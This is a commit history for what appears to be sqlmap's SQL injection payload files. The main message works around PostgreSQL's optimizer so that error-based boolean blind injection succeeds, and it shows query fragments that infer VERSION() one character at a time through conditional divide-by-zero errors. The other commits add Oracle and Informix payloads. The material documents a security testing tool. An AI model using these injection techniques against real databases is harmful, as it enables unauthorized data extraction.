Commit Graph

8 Commits

Author SHA1 Message Date
Timo Boettcher
4f84215eda Work around PostgreSQL query optimizer for error
Sadly, the mechanism triggering the error using CAST to integer on a
string did not work for me. This is probably caused by PostgreSQL
optimizing the query as described in
https://www.postgresql.org/docs/9.6/static/functions-conditional.html :

    "Note: As described in Section 4.2.14, there are various situations
    in which subexpressions of an expression are evaluated at different
    times, so that the principle that "CASE evaluates only necessary
    subexpressions" is not ironclad. For example a constant 1/0
    subexpression will usually result in a division-by-zero failure at
    planning time, even if it's within a CASE arm that would never be
    entered at run time."

My trivial test case for causing/not causing an error based on a
condition was:
------------------------------------------------------------------------
mytestdb=> SELECT CASE WHEN (1=1) THEN 1/1 ELSE 1/0 END;
    1

mytestdb=> SELECT CASE WHEN (1=2) THEN 1/1 ELSE 1/0 END;
ERROR:  division by zero
------------------------------------------------------------------------
As expected, the division by zero error is only triggered when the
condition is not met.

Second, dynamic, testcase (the first character of VERSION() has ASCII
code 80, so last condition is expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1));
    80
(1 row)
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>126) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
mytestdb=>  SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM 1 FOR 1))>26) THEN 1 ELSE 2/0 END) IS NULL;
ERROR:  division by zero
------------------------------------------------------------------------
However, the ELSE part is evaluated both when the condition is true and
when it is not true, as described in the documentation cited above.

This can be worked around by using an error that can not be detected by
static analysis (length of version() is about 100, so last condition is
expected to return true):
------------------------------------------------------------------------
mytestdb=> SELECT (CASE WHEN (char_length(version())<80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
    2

mytestdb=> SELECT (CASE WHEN (char_length(version())>80) THEN (1/(char_length(substring(version(),1,1))-1)) ELSE 2 END);
ERROR:  division by zero
------------------------------------------------------------------------
While we know that substring(X, 1, 1) will return 1 for any non-empty
string, the database engine is probably not able to optimize that away
based on the slight chance that VERSION() may return an empty string.

This has been used successfully on PostgreSQL 9.6.
2017-10-06 00:03:22 +02:00
Timo Boettcher
423a34c9f3 Add boolean-blind for postgreql in stacked-queries
The patch is based on time-based blind exploitation
2017-10-05 23:58:29 +02:00
Miroslav Stampar
06b54ab134 Better choice of used table (INFORMATION_SCHEMA.CHARACTER_SETS can also be found in MsSQL and PgSQL; mysql.db can have permission problems) 2016-10-04 23:43:00 +02:00
Miroslav Stampar
fee5c7bd7c Adding two new payloads and minor cosmetics 2016-10-04 23:39:18 +02:00
Miroslav Stampar
fb8afc6add Adding a new payload (Oracle boolean based on error response) 2016-10-04 22:12:00 +02:00
Miroslav Stampar
5079c42788 Adding Informix parameter replacement payloads (Issue #552) 2016-09-27 14:39:17 +02:00
Miroslav Stampar
bc7ab01066 Bug fix for generic parameter replacement (CASE) 2016-09-27 14:29:18 +02:00
Miroslav Stampar
c7f615f707 Renaming payload files (consistency with the rest of the project) 2016-07-17 00:21:16 +02:00